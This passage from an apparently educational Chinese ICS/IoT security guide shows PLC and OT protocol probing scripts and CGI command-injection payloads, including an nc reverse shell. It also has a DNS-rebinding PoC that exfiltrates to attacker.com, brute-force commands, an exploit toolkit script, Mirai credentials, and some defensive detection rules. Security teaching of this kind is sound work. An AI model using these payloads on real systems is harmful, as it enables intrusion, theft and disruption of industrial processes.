# S7Comm安全漏洞:
# 1. 弱认证: S7Comm认证可绕过(攻击密钥生成算法可预测)
# 2. 明文传输: 所有读写操作明文
# 3. 指令注入: 可发送STOP CPU指令使PLC停机
# 4. 固件提取: 可读取PLC完整内存
# S7Comm关键功能:
# Setup Communication (0xF0): 建立通信
# Read Var (0x04): 读取变量
# Write Var (0x05): 写入变量
# Start CPU (0x28): 启动CPU
# Stop CPU (0x29): 停止CPU
# Read SZL (0x1A): 读取系统状态
# 抓包分析S7Comm
tcpdump -i any port 102 -w s7comm.pcap
wireshark s7comm.pcap
# Wireshark内置S7Comm解析器
7.7 OpcUA 安全分析
# OpcUA是少数内置完整安全套件的OT协议
# 端口: 4840
# OpcUA安全模式:
# 1. None: 无安全(明文)
# 2. Sign: 签名(完整性)
# 3. SignAndEncrypt: 签名+加密
# 安装OpcUA工具
pip3 install opcua asyncua
# OpcUA连接测试
python3 << 'EOF'
from opcua import Client
# 无安全模式连接
client = Client("opc.tcp://192.168.1.1:4840")
client.connect()
# 浏览地址空间
root = client.get_root_node()
print(f"根节点: {root}")
# 获取服务器信息
server_state = client.get_server_state()
print(f"服务器状态: {server_state}")
# 浏览所有节点
objects = client.get_objects_node()
children = objects.get_children()
for child in children:
print(f"子节点: {child}")
client.disconnect()
EOF
# OpcUA安全测试
# 1. 检查是否使用None模式(明文)
# 2. 检查证书验证是否严格
# 3. 检查用户认证是否启用
# 4. 检查权限控制是否有效
# 扫描OpcUA服务
nmap -sT -p 4840 --script=opcua-enum 192.168.1.1
7.8 BACnet 安全分析
# BACnet是楼宇自动化的核心协议
# 端口: 47808 (UDP)
# BACnet设备发现
nmap -sU -p 47808 --script=bacnet-info 192.168.1.1
# 安装BACnet工具
pip3 install bac0
# BACnet通信测试
python3 << 'EOF'
from BAC0 import BAC0
# 发现BACnet设备
bacnet = BAC0.lite()
devices = bacnet.whois()
print(f"发现的设备: {devices}")
# 读取BACnet属性
for device in devices:
device_id = device[1]
object_name = bacnet.read(f"{device_id} device {device_id} objectName")
print(f"设备 {device_id}: {object_name}")
# 读取模拟量输入
value = bacnet.read(f"{device_id} analogInput 1 presentValue")
print(f" 模拟量输入1: {value}")
bacnet.disconnect()
EOF
# BACnet安全漏洞:
# 1. 无认证: 可直接读写BACnet对象
# 2. 明文传输: UDP明文通信
# 3. 设备发现: whois广播泄露设备信息
# 4. 指令注入: 可写入控制点
7.9 OT协议攻击工具表
| 工具 | 功能 | 支持协议 | 特点 |
|---|---|---|---|
| ScadaBR | SCADA系统模拟 | Modbus,OPC,DNP3 | Web界面 |
| PLC4X | PLC协议库 | 多种OT协议 | Java/Python |
| PyModbus | Modbus Python库 | Modbus TCP/RTU | 轻量易用 |
| cpppo | EtherNet/IP库 | CIP/EtherNet/IP | Python |
| snap7 | S7通信库 | S7Comm | C/Python |
| BAC0 | BACnet库 | BACnet | Python |
| OpenDNP3 | DNP3库 | DNP3 | C++ |
| lib60870 | IEC104库 | IEC104 | C |
| Industrial Network Analyzer | 工业流量分析 | 多种 | 商业 |
| Claroty/CyberX | OT资产发现 | 多种 | 商业 |
7.10 完整OT协议测试流程
#!/bin/bash
# ot_protocol_test_workflow.sh - 完整OT协议测试流程
TARGET=$1
echo "=== OT/ICS协议安全测试 ==="
echo "[1] Modbus TCP测试(502)"
echo " - 设备发现"
nmap -sT -p 502 --script=modbus-discover $TARGET
echo " - 寄存器读取"
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('$TARGET', port=502)
c.connect()
r = c.read_holding_registers(0, 10, unit=1)
if not r.isError():
print(f'寄存器值: {r.registers}')
c.close()
"
echo "[2] DNP3测试(20000)"
nmap -sT -p 20000 --script=dnp3-enumerate $TARGET
echo "[3] IEC104测试(2404)"
nmap -sT -p 2404 $TARGET
echo " - 抓包分析"
timeout 30 tcpdump -i any port 2404 host $TARGET -w iec104.pcap
echo "[4] EtherNet/IP测试(44818)"
nmap -sT -p 44818 --script=enip-info $TARGET
echo "[5] S7Comm测试(102)"
nmap -sT -p 102 --script=s7-info $TARGET
echo "[6] OpcUA测试(4840)"
nmap -sT -p 4840 --script=opcua-enum $TARGET
echo "[7] BACnet测试(47808)"
nmap -sU -p 47808 --script=bacnet-info $TARGET
echo "[8] 全协议抓包"
timeout 120 tcpdump -i any host $TARGET -w ot_protocols.pcap
echo " - Wireshark分析: wireshark ot_protocols.pcap"
echo " - 使用Wireshark的工业协议解析器"
echo "OT协议安全测试完成"
八、PLC与RTU安全
8.1 PLC架构与工作原理
PLC(可编程逻辑控制器)是工业自动化的核心设备。
| 组件 | 功能 | 安全关注点 |
|---|---|---|
| CPU模块 | 执行用户程序 | 固件漏洞、逻辑篡改 |
| 输入模块 | 采集传感器信号 | 信号注入、伪造数据 |
| 输出模块 | 驱动执行器 | 非法指令输出 |
| 通信模块 | 网络通信 | 协议漏洞 |
| 电源模块 | 供电 | 断电攻击 |
| 存储模块 | 存储程序和变量 | 逻辑炸弹、后门 |
| HMI接口 | 人机交互 | 默认密码、越权 |
PLC工作原理为扫描循环:读取输入 -> 执行逻辑 -> 更新输出 -> 通信处理,循环执行。攻击者篡改逻辑或注入恶意指令,可直接控制物理过程。
8.2 Allen-Bradley PLC 安全
# AB PLC使用CIP(Common Industrial Protocol) over EtherNet/IP
# 端口: 44818
# AB PLC设备发现
nmap -sT -p 44818 --script=enip-info 192.168.1.1
# 使用cpppo与AB PLC通信
python3 << 'EOF'
from cpppo.server.enip import client
# 连接AB PLC
with client(host='192.168.1.1', port=44818) as conn:
# 获取设备信息
identity = conn.read_attribute_service(1, 1)
print(f"设备信息: {identity}")
# 读取控制器标签(需要知道标签名)
# 标签格式: @符号表示CIP路径
tag_data = conn.read_tag('@4:0x1/0x01', 'REAL')
print(f"标签数据: {tag_data}")
# 写入标签(危险操作)
# conn.write_tag('@4:0x1/0x01', 100.0)
# 发送CIP命令
# Forward Close: 断开连接
# Forward Open: 建立连接
# 可用于DoS攻击
EOF
# AB PLC常见漏洞:
# 1. CVE-2018-19282: AB MicroLogix 1100 CPU密码绕过
# 2. CVE-2018-17922: AB PLC未授权访问
# 3. CIP无认证: 可直接读写标签数据
# 4. CIP安全模块绕过: 部分固件可绕过安全限制
8.3 Siemens S7 PLC 安全
# Siemens S7 PLC使用S7Comm/S7Comm+协议
# 端口: 102 (ISO-on-TCP)
# S7 PLC设备发现
nmap -sT -p 102 --script=s7-info 192.168.1.1
# 使用snap7与S7 PLC通信
python3 << 'EOF'
import snap7
client = snap7.client.Client()
client.connect('192.168.1.1', 0, 1)
# 读取CPU信息
cpu_info = client.get_cpu_info()
print(f"模块类型: {cpu_info.ModuleTypeName}")
print(f"序列号: {cpu_info.SerialNumber}")
print(f"固件版本: {cpu_info.Version}")
# 读取CPU状态
state = client.get_cpu_state()
print(f"CPU状态: {state}")
# 读取DB块
data = client.db_read(1, 0, 100)
print(f"DB1数据: {data.hex()}")
# STOP CPU(危险操作,使PLC停机)
# client.plc_stop()
# START CPU
# client.plc_start()
# 读取所有DB块列表
szl = client.get_cpu_state()
print(f"CPU SZL: {szl}")
client.disconnect()
EOF
# S7 PLC关键漏洞:
# 1. S7Comm认证绕过: 攻击者可预测认证密钥
# 2. CVE-2019-19021: S7-300/400 内存耗尽DoS
# 3. PLC密码提取: 可从设备内存提取存储的密码
# 4. STOP CPU: 可远程停止PLC运行
8.4 Schneider Modicon PLC 安全
# Schneider Modicon PLC使用Modbus协议
# 端口: 502
# Modicon PLC设备发现
nmap -sT -p 502 --script=modbus-discover 192.168.1.1
# 使用pymodbus与Modicon PLC通信
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.1', port=502)
client.connect()
# 读取寄存器
result = client.read_holding_registers(0, 100, unit=1)
if not result.isError():
print(f"寄存器: {result.registers}")
# Schneider Modicon特殊功能:
# 读取PLC型号(通过特定寄存器地址)
model = client.read_holding_registers(201, 2, unit=1)
print(f"型号代码: {model.registers}")
# 写入寄存器(危险操作)
# client.write_register(0, 100, unit=1)
client.close()
EOF
# Schneider PLC关键漏洞:
# 1. CVE-2020-7493: Modicon M340 信息泄露
# 2. CVE-2020-7525: Modicon M580 权限提升
# 3. Modbus无认证: 可直接读写所有寄存器
# 4. 固件无签名: 可刷入篡改固件
8.5 PLC后门植入与Stuxnet分析
# PLC后门类型:
# 1. 逻辑炸弹: 在特定条件触发恶意操作
# 2. 隐藏代码块: 在合法程序中嵌入隐藏逻辑
# 3. 修改I/O映射: 篡改输入输出对应关系
# 4. 通信劫持: 截获和篡改PLC通信
# Stuxnet分析(震网病毒):
# Stuxnet是首个攻击工控系统的网络武器
# 目标: 伊朗Natanz铀浓缩工厂的S7-300/400 PLC
# 攻击链:
# 1. 通过U盘传播(LNK漏洞CVE-2010-2568)
# 2. 利用Windows 0day(打印机漏洞/计划任务提权)
# 3. 窃取Step7证书绕过驱动签名
# 4. 修改S7 PLC的控制逻辑(替换代码块)
# 5. 篡改离心机转速控制(频率驱动器攻击)
# 6. 同时发送虚假数据欺骗监控(中间人攻击)
# Stuxnet的PLC攻击模块:
# - 拦截PLC与HMI的通信
# - 向PLC注入恶意代码块(OB/FC/DB)
# - 修改频率驱动器的控制参数
# - 向HMI发送正常数据掩盖攻击
# 检测PLC后门:
# 1. 比对程序块哈希值
python3 << 'EOF'
import snap7
import hashlib
client = snap7.client.Client()
client.connect('192.168.1.1', 0, 1)
# 读取所有DB块
for db_num in range(1, 100):
try:
data = client.db_read(db_num, 0, 1000)
md5 = hashlib.md5(data).hexdigest()
print(f"DB{db_num}: {md5}")
except:
pass
# 读取OB块(组织块,包含主程序)
# 对比已知的正常OB哈希值
client.disconnect()
EOF
8.6 RTU安全分析
RTU(远程终端单元)用于SCADA系统的远程数据采集和控制,常见于电力、水务等分布广泛的设施。
# RTU通信协议通常为DNP3或Modbus RTU/TCP
# RTU部署在远程无人值守站点
# RTU安全关注点:
# 1. 通信链路安全: 常使用无线/串行通信
# 2. 物理安全: 无人值守,易遭物理攻击
# 3. 固件更新: 远程更新可能被劫持
# 4. 默认密码: 设备出厂默认凭据
# DNP3 RTU测试
nmap -sT -p 20000 --script=dnp3-enumerate 192.168.1.1
# DNP3安全分析
python3 << 'EOF'
# DNP3关键安全特性:
# - Secure Authentication v5 (SAv5): 可选认证
# - 数据链路层: 无安全机制
# - 应用层: 可选认证
# 无SAv5的DNP3设备:
# 1. 可直接读取所有数据点
# 2. 可直接发送控制指令
# 3. 可重放合法控制指令
# 检查DNP3是否启用SAv5:
# 抓包分析DNP3应用层报文
# 检查是否存在认证会话(ASDU Type 42/43)
EOF
8.7 完整PLC攻击流程
#!/bin/bash
# plc_attack_workflow.sh - 完整PLC攻击流程(仅授权测试)
TARGET=$1
echo "=== PLC安全测试流程 ==="
echo "[1] PLC设备发现"
echo " - 端口扫描(502/102/44818)"
nmap -sT -p 502,102,44818 $TARGET
echo "[2] PLC信息收集"
echo " - Modbus设备发现"
nmap --script=modbus-discover -p 502 $TARGET
echo " - S7设备信息"
nmap --script=s7-info -p 102 $TARGET
echo " - EtherNet/IP信息"
nmap --script=enip-info -p 44818 $TARGET
echo "[3] PLC认证测试"
echo " - Modbus无认证验证"
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('$TARGET', port=502)
c.connect()
r = c.read_holding_registers(0, 10, unit=1)
if not r.isError():
print('Modbus无认证,可读取寄存器')
c.close()
"
echo " - S7认证测试"
python3 -c "
import snap7
c = snap7.client.Client()
try:
c.connect('$TARGET', 0, 1)
info = c.get_cpu_info()
print(f'PLC型号: {info.ModuleTypeName}')
print(f'固件版本: {info.Version}')
print('S7可连接,检查认证')
except Exception as e:
print(f'S7连接失败: {e}')
finally:
c.disconnect()
"
echo "[4] PLC数据读取"
echo " - 读取所有寄存器/数据块"
echo " - 记录正常状态基线"
echo "[5] PLC逻辑分析"
echo " - 下载PLC程序(如果支持)"
echo " - 分析梯形图/功能块"
echo " - 检查是否有后门/逻辑炸弹"
echo "[6] PLC控制测试(极高危险)"
echo " - 仅在授权且隔离环境中执行"
echo " - 测试STOP CPU"
echo " - 测试写入控制值"
echo "PLC安全测试完成"
九、IoT设备常见漏洞
9.1 硬编码凭据
硬编码凭据是 IoT 设备最普遍的漏洞类型,几乎所有厂商都存在此问题。
| 凭据类型 | 位置 | 危害 | 提取方法 |
|---|---|---|---|
| 默认密码 | /etc/passwd, /etc/shadow | 设备接管 | strings/grep |
| 后门账号 | 二进制硬编码 | 隐藏访问 | Ghidra逆向 |
| API密钥 | 配置文件/二进制 | 云平台接管 | grep/strings |
| 数据库连接 | 配置文件 | 数据泄露 | cat config |
| SSH密钥 | /root/.ssh/ | 持久后门 | find/读取 |
| SSL私钥 | /etc/cert/ | 中间人攻击 | find/读取 |
| 共享密钥 | 协议实现 | 协议破解 | 二进制逆向 |
# 提取硬编码凭据的完整流程
# 1. 搜索配置文件中的密码
find squashfs-root/ -name "*.conf" -o -name "*.cfg" -o -name "*.xml" | \
xargs grep -i -n "password\|passwd\|admin\|root\|user\|pass\|secret" 2>/dev/null
# 2. 搜索二进制中的硬编码密码
for bin in $(find squashfs-root/ -type f -executable); do
strings -n 6 "$bin" | grep -i -E "password|admin|root|support|guest|default" | \
while read line; do
echo "$bin: $line"
done
done
# 3. 提取Shadow文件密码哈希
cat squashfs-root/etc/shadow
# 格式: username:$id$salt$hash:min:max:warn:inactive:expire
# 4. 破解密码哈希
john --format=md5crypt --wordlist=rockyou.txt shadow.txt
hashcat -m 500 shadow_hashes.txt rockyou.txt
# 5. 搜索API密钥
grep -r -E "api_key|apikey|api-key|access_key|secret_key|app_key|appkey" squashfs-root/
# 6. 搜索数据库连接
grep -r -E "mysql://|postgres://|mongodb://|redis://|sqlite" squashfs-root/
# 7. 搜索私钥文件
find squashfs-root/ -name "*.key" -o -name "*.pem" -o -name "id_rsa" -o -name "*.p12"
# 8. 常见默认密码列表
cat << 'EOF'
设备类型 | 默认账号 | 默认密码
路由器(TP-Link) | admin | admin
路由器(Netgear) | admin | password
路由器(D-Link) | admin | 空或admin
摄像头(Hikvision)| admin | 12345
摄像头(Dahua) | admin | admin
DVR/NVR | admin | 123456
PLC(S7-1200) | admin | admin(初始)
Modbus | 无认证 | 无需密码
Mirai默认列表 | root/xc3511等 | 各类默认密码
EOF
9.2 命令注入
IoT 设备的 Web 接口(CGI 脚本、Lua 脚本)经常将用户输入直接传递给系统调用,导致命令注入。
# 命令注入测试
# 1. CGI命令注入
# 常见漏洞模式: CGI脚本调用system()/popen()执行ping/traceroute等
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=127.0.0.1;id"
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=127.0.0.1|id"
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=\`id\`"
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=\$(id)"
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=127.0.0.1%0aid"
# 2. POST参数命令注入
curl -X POST "http://192.168.1.1/cgi-bin/login.cgi" \
-d "user=admin;id&pass=admin"
# 3. HTTP头注入
curl -H "User-Agent: (); id" "http://192.168.1.1/cgi-bin/test.cgi"
# 4. Lua脚本注入
curl "http://192.168.1.1/api/$(id)"
# 5. 盲注测试(无回显)
curl "http://192.168.1.1/cgi-bin/test.cgi?cmd=127.0.0.1;sleep 5"
# 观察响应时间判断是否执行
# 6. 反弹Shell
curl "http://192.168.1.1/cgi-bin/ping.cgi?ip=127.0.0.1;nc%20192.168.1.100%204444%20-e%20/bin/sh"
漏洞代码模式:
// 典型CGI命令注入漏洞代码
// vuln_ping.cgi
char *ip = getenv("QUERY_STRING"); // 用户输入
char cmd[256];
sprintf(cmd, "ping -c 3 %s", ip); // 拼接命令 - 危险!
system(cmd); // 执行 - 命令注入!
9.3 缓冲区溢出
IoT 设备多为 MIPS/ARM 架构,缓冲区溢出需考虑架构特性。
# MIPS栈溢出分析
# 1. 确认目标架构
file squashfs-root/usr/bin/httpd
# MIPS:BE:32 或 MIPS:LE:32
# 2. Ghidra中定位溢出点
# 搜索: strcpy, strcat, sprintf, gets, scanf, memcpy
# 这些函数不检查长度,是溢出的高频位置
# 3. 确定偏移量
# 使用pattern_create
python3 -c "
import struct
pattern = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
# 发送给目标程序
"
# 4. QEMU+GDB调试
qemu-mipsel -g 1234 -L squashfs-root/ squashfs-root/usr/bin/httpd
gdb-multiarch -ex "target remote :1234" -ex "file httpd"
# 5. ROP链构造
# MIPS ROP:
# - 寻找gadgets: __libc_csu_init, 通用gadgets
# - MIPS调用约定: $a0-$a3为参数, $t9为函数地址
# - 需要保持栈对齐
# 使用ROPgadget查找gadgets
ROPgadget --binary squashfs-root/usr/bin/httpd --arch mips --ropchain
# 6. MIPS shellcode
# MIPS reverse shell shellcode
# 需要考虑cache coherence(I-cache需要刷新)
python3 -c "
# MIPS小端reverse shell shellcode
shellcode = bytes.fromhex(
'e8ffa4ab' # LUI
'240203f8' # li v0, ...
# ... 完整shellcode
)
"
9.4 UPnP漏洞
# UPnP (Universal Plug and Play) 端口: 1900(UDP), 49152+(TCP)
# UPnP设备发现
nmap --script=upnp-info -p 1900 192.168.1.1
# 使用miranda工具
pip3 install miranda
miranda
> set discovermode=active
> set target=192.168.1.1
> discover
> list
# 查看所有UPnP服务
# SOAP注入攻击
# UPnP控制点使用SOAP协议通信
# 测试SOAP请求中的注入点
curl -X POST http://192.168.1.1:49152/ctrl SoapPort \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"urn:...\"" \
-d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetCmd xmlns:m="urn:...">
<m:cmd>;<id>;</m:cmd> <!-- 命令注入 -->
</m:GetCmd>
</soap:Body>
</soap:Envelope>'
# 端口映射滥用
# 攻击者可通过UPnP AddPortMapping暴露内部端口
# 或将恶意端口映射到外网
# 检测UPnP SOAP注入
python3 << 'EOF'
import requests
import urllib3
urllib3.disable_warnings()
target = "http://192.168.1.1:49152"
# 获取UPnP描述文件
desc_url = f"{target}/rootDesc.xml"
desc = requests.get(desc_url, timeout=5)
print(f"UPnP描述: {desc.text[:500]}")
# 测试SOAP命令注入
soap_body = """<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:SetConfig xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingDescription>test;id</NewPortMappingDescription>
</m:SetConfig>
</soap:Body>
</soap:Envelope>"""
r = requests.post(f"{target}/ctrl/SoapPort", data=soap_body)
print(f"响应: {r.text[:200]}")
EOF
9.5 DNS Rebinding攻击
# DNS Rebinding利用浏览器同源策略漏洞攻击IoT设备
# 攻击流程:
# 1. 用户访问恶意网站evil.com
# 2. evil.com DNS解析到攻击者服务器(短TTL)
# 3. 用户浏览器JS访问设备(如路由器192.168.1.1)
# 4. DNS重新解析evil.com到192.168.1.1
# 5. 浏览器认为仍在访问evil.com(同源)
# 6. JS可操作路由器Web界面
# 攻击工具: dnsmasq + 自定义DNS
# 使用dnsrebind工具
pip3 install dnsrebind
# 检测设备是否易受DNS Rebinding攻击
# 检查Web服务器是否验证Host头
curl -H "Host: evil.com" http://192.168.1.1/
# 如果正常返回页面,则易受攻击
# JavaScript PoC
cat << 'JSEOF'
// DNS Rebinding PoC(仅授权测试)
// 当用户访问恶意页面时执行
fetch("http://evil.com/cgi-bin/login.cgi?user=admin&pass=admin")
.then(r => r.text())
.then(html => {
// 数据外带到攻击者服务器
fetch("https://attacker.com/exfil?data=" + btoa(html));
});
JSEOF
9.6 Telnet/SSH后门
# 搜索固件中的Telnet/SSH服务
find squashfs-root/ -name "telnetd" -o -name "dropbear" -o -name "sshd" -o -name "busybox"
grep -r "telnet" squashfs-root/etc/
# 检查启动脚本中的Telnet服务
cat squashfs-root/etc/init.d/rcS 2>/dev/null | grep -i telnet
cat squashfs-root/etc/inittab 2>/dev/null | grep -i telnet
# 检查隐藏的Telnet端口
# 有些设备Telnet只在特定条件下启动
grep -r "2323\|5555\|9999" squashfs-root/etc/
# 检测运行中的Telnet
nmap -sT -p 23,2323,5555,9999 192.168.1.1
# Telnet弱密码爆破
hydra -L users.txt -P pass.txt telnet://192.168.1.1:23
hydra -L users.txt -P pass.txt telnet://192.168.1.1:2323
# SSH弱密码爆破
hydra -L users.txt -P pass.txt ssh://192.168.1.1:22
9.7 OTA更新安全
# OTA(Over-The-Air)更新是IoT设备的核心安全机制
# 但实现常有缺陷
# 常见OTA漏洞:
# 1. 固件未签名: 可刷入篡改固件
# 2. 固件降级: 可刷入旧版本利用已知漏洞
# 3. HTTP传输: 固件通过HTTP下载可中间人篡改
# 4. 弱签名: 使用弱哈希(MD5)或弱RSA密钥
# 抓包分析OTA更新
mitmproxy --mode transparent -p 8080
# 配置设备代理,触发固件更新
# 分析下载的固件是否加密/签名
# 固件降级攻击
# 1. 获取旧版固件(已知漏洞版本)
# 2. 通过固件更新接口上传
# 3. 如果服务器不检查版本/签名,降级成功
# 固件篡改攻击
# 1. 拦截OTA下载请求(HTTP)
# 2. 替换固件文件为修改版
# 3. 如果客户端不验证签名,篡改成功
# 检查固件签名验证
# 逆向固件更新程序
# 搜索: RSA_verify, EVP_DigestVerify, crypto_sign_open
strings squashfs-root/usr/bin/ota_update | grep -i "verify\|sign\|cert\|hash"
9.8 完整漏洞利用集
#!/bin/bash
# iot_exploit_toolkit.sh - IoT设备漏洞利用集
TARGET=$1
echo "=== IoT设备漏洞利用 ==="
echo "[1] 默认密码测试"
for user_pass in "admin:admin" "admin:password" "admin:" "root:root" "root:123456" "support:support" "guest:guest"; do
user=$(echo $user_pass | cut -d: -f1)
pass=$(echo $user_pass | cut -d: -f2)
result=$(curl -s -o /dev/null -w "%{http_code}" \
-u "$user:$pass" "http://$TARGET/")
echo " $user:$pass -> HTTP $result"
done
echo "[2] 命令注入测试"
echo " - Ping CGI"
curl -s "http://$TARGET/cgi-bin/ping.cgi?ip=127.0.0.1;id" | grep -i "uid"
echo " - System CGI"
curl -s "http://$TARGET/cgi-bin/system.cgi?cmd=;id" | grep -i "uid"
echo "[3] 目录遍历测试"
curl -s "http://$TARGET/../../../../etc/passwd" | head -5
curl -s "http://$TARGET/cgi-bin/webproc?getpage=/etc/passwd" | head -5
echo "[4] UPnP测试"
nmap --script=upnp-info -p 1900 $TARGET 2>/dev/null
echo "[5] Telnet后门"
nc -zv $TARGET 23 2>&1
nc -zv $TARGET 2323 2>&1
echo "[6] TR-069测试"
nmap -sC -p 7547 $TARGET 2>/dev/null
echo "[7] Mirai式爆破"
for port in 23 2323 5555 9999; do
nc -zv $TARGET $port 2>&1
done
echo "IoT漏洞利用完成"
十、Mirai与IoT蠕虫
10.1 Mirai架构分析
Mirai 是 2016 年爆发的 IoT 蠕虫,一夜感染百万设备,发动了当时最大的 DDoS 攻击。
| 组件 | 功能 | 端口/协议 | 描述 |
|---|---|---|---|
| Loader | 发起攻击 | 协议无关 | 向目标设备投递Mirai二进制 |
| Scanner/Bot | 扫描传播 | 23/2323/5555等 | 爆破弱密码并感染新设备 |
| C2/CNC | 命令控制 | 101/443等 | 管理bot并发起DDoS |
| Report Server | 数据上报 | 48101 | Bot上报感染状态 |
| Database | 数据存储 | MySQL | 存储bot信息和凭据 |
10.2 Mirai传播机制
# Mirai传播核心: Telnet弱密码爆破
# 主要目标端口: 23, 2323, 5555, 7547, 9999, 5358
# Mirai使用的默认密码表(部分)
cat << 'EOF'
root/vnchczih
root/admin
root/Anthropology
root/cucaracha
root/default
root/Ex8tM2v_3dF
root/founder
root/iknowjenny
root/klvds
root/letmein
root/marketplace
root/mooboo123
root/123456
root/P@ck3tFram3
root/pass
root/password
root/path
root/RealHd
root/root
root/roots
root/t0t3p1
admin/admin
admin/12345
admin/1111
admin/14...
support/support
guest/guest
user/user
EOF
# Mirai感染流程:
# 1. Scanner随机扫描IP范围的23/2323端口
# 2. Telnet连接成功后尝试默认密码表爆破
# 3. 登录成功后检查架构(x86/MIPS/ARM/PPC)
# 4. 通过Loader下载对应架构的Mirai二进制
# 5. 执行二进制,新Bot开始扫描和传播
# 6. Bot连接C2上报状态,等待攻击指令
10.3 Mirai变体对比
| 变体名 | 爆发年份 | 特殊功能 | 目标设备 | DDoS方式 |
|---|---|---|---|---|
| Mirai | 2016 | Telnet爆破 | 路由器/摄像头 | SYN/UDP/HTTP |
| Bashlite | 2014 | Shell脚本+ELF | 路由器/IoT | SYN/UDP |
| Torii | 2018 | 多架构传播 | 多种IoT | 不做DDoS |
| Gafgyt | 2017 | Telnet+SSH | 路由器 | HTTP/OVH |
| Mozi | 2019 | P2P传播 | 路由器/摄像头 | DDoS/挖矿 |
| Omni | 2019 | 多平台 | 路由器/摄像头 | 类Mirai |
| Satori | 2017 | 利用Realtek CVE | 路由器 | DDoS |
| Masuta | 2017 | DDoS-as-Service | 路由器 | 多向量 |
| Miori | 2018 | 仿Mirai | 路由器 | DDoS |
| BotenaGo | 2021 | Go语言实现 | 路由器 | 多漏洞 |
10.4 IoT蠕虫利用链
| 利用方式 | 漏洞类型 | 典型案例 | 影响 |
|---|---|---|---|
| 默认密码 | 弱密码 | Mirai原始版 | 数百万设备 |
| Realtek SDK | CVE-2014-8361 | Satori | 路由器批量 |
| ThinkPHP RCE | CVE-2018-20062 | Masuta变种 | Web服务器 |
| Huawei HG532 | CVE-2017-17215 | Satori变种 | 路由器 |
| Zyxel | CVE-2016-10401 | Mozi | 路由器 |
| Netgear | CVE-2016-6277 | Omni | 路由器 |
| D-Link | CVE-2018-6530 | 多种变体 | 路由器/摄像头 |
| HNAP | CVE-2018-9995 | Gafgyt | DVR |
| 0day利用 | 未公开漏洞 | 高级蠕虫 | 针对性攻击 |
10.5 Mirai源码分析
# Mirai源码结构(C语言)
cat << 'EOF'
mirai/
├── bot/ # Bot端代码
│ ├── bot.c # 主循环
│ ├── scanner.c # 扫描和爆破
│ ├── killer.c # 端口占用(防止竞争)
│ ├── attack.c # DDoS攻击模块
│ └── checksum.c# CRC校验
├── loader/ # Loader端代码
│ └── loader.c # 向目标投递二进制
├── c2/ # C2服务器
│ ├── admin.go # CNC管理面板
│ └── main.go # C2主程序
├── tools/ # 工具
│ ├── enc.c # 字符串加密
│ ├── nogdb.c # 去除符号表
│ └── singletelnet.c # 单连接Telnet
└── scripts/ # 脚本
├── docker-entrypoint.sh
└── db.sql # 数据库初始化
EOF
# Mirai scanner.c核心逻辑(简化)
cat << 'CEOF'
// scanner.c - Mirai扫描传播核心逻辑
// 1. 随机生成IP地址
// 2. 检查IP是否已被感染(通过本地表)
// 3. 连接23/2323端口
// 4. 尝试默认密码表爆破
// 5. 登录成功后检查架构
// 6. 通过Loader投递二进制
// 关键函数:
// ipv4_init() // 初始化随机IP生成
// get_random_ip() // 生成随机IP
// connection_init() // 建立连接
// fetchConnection() // 处理连接
// attempt_telnet() // 尝试爆破
// report_payload() // 向Loader报告
CEOF
# Mirai字符串加密机制
# Mirai使用XOR加密关键字符串,防止IDS检测
python3 << 'EOF'
# Mirai字符串解密
# Mirai使用表查找式XOR加密
# 解密函数
def mirai_decrypt(data, key_table):
result = []
for i, byte in enumerate(data):
key = key_table[i % len(key_table)]
result.append(byte ^ key)
return bytes(result)
# 示例: 解密后可看到关键字
# \x00\x01\x02... -> \x2f\x2f\x2f... -> "///..."
# 实际攻击中需要从ELF中提取加密表
EOF
10.6 IoT蠕虫检测与防御
# IoT蠕虫检测方法
# 1. 网络流量异常检测
# Mirai特征: 大量出站Telnet连接(23/2323端口)
# 检测命令
tcpdump -i eth0 'dst port 23 or dst port 2323' -c 100 | \
awk '{print $4}' | sort | uniq -c | sort -rn
# 2. SSH暴力破解检测
grep "Failed password" /var/log/auth.log | \
awk '{print $11}' | sort | uniq -c | sort -rn | head
# 3. 异常出站连接检测
netstat -ant | grep ESTABLISHED | \
awk '{print $5}' | cut -d: -f1 | sort | uniq -c
# 4. 进程检测
ps aux | grep -E "mirai|bot|\.sh"
# 检查可疑进程名
# 5. CPU异常检测
top -bn1 | head -20
# Mirai DDoS时CPU飙高
# 6. 使用Zeek/Suricata检测
# Suricata规则: 检测Telnet暴力破解
cat << 'EOF'
alert tcp $HOME_NET any -> $EXTERNAL_NET 23 (msg:"Mirai-like Telnet brute force"; \
flow:to_server; flags:S; threshold: type both, count 100, seconds 60; \
sid:1000001;)
EOF
# 防御建议
cat << 'EOF'
1. 修改默认密码: 使用强密码
2. 关闭Telnet: 禁用23/2323端口
3. 网络隔离: IoT设备在独立VLAN
4. 出口过滤: 限制IoT设备出站连接
5. 入侵检测: 部署IDS/IPS
6. 固件更新: 及时修补已知漏洞
7. 默认禁止: 关闭不必要的服务
EOF
十一、IoT安全测试工具
11.1 工具对比表
| 工具 | 类别 | 功能 | 架构支持 | 自动化 | 推荐度 |
|---|---|---|---|---|---|
| binwalk | 固件提取 | 签名扫描+提取 | 全架构 | 高 | 必备 |
| firmware-mod-kit | 固件修改 | 解包/重打包 | 全架构 | 中 | 推荐 |
| Ghidra | 逆向分析 | 反汇编+反编译 | 全架构 | 低 | 必备 |
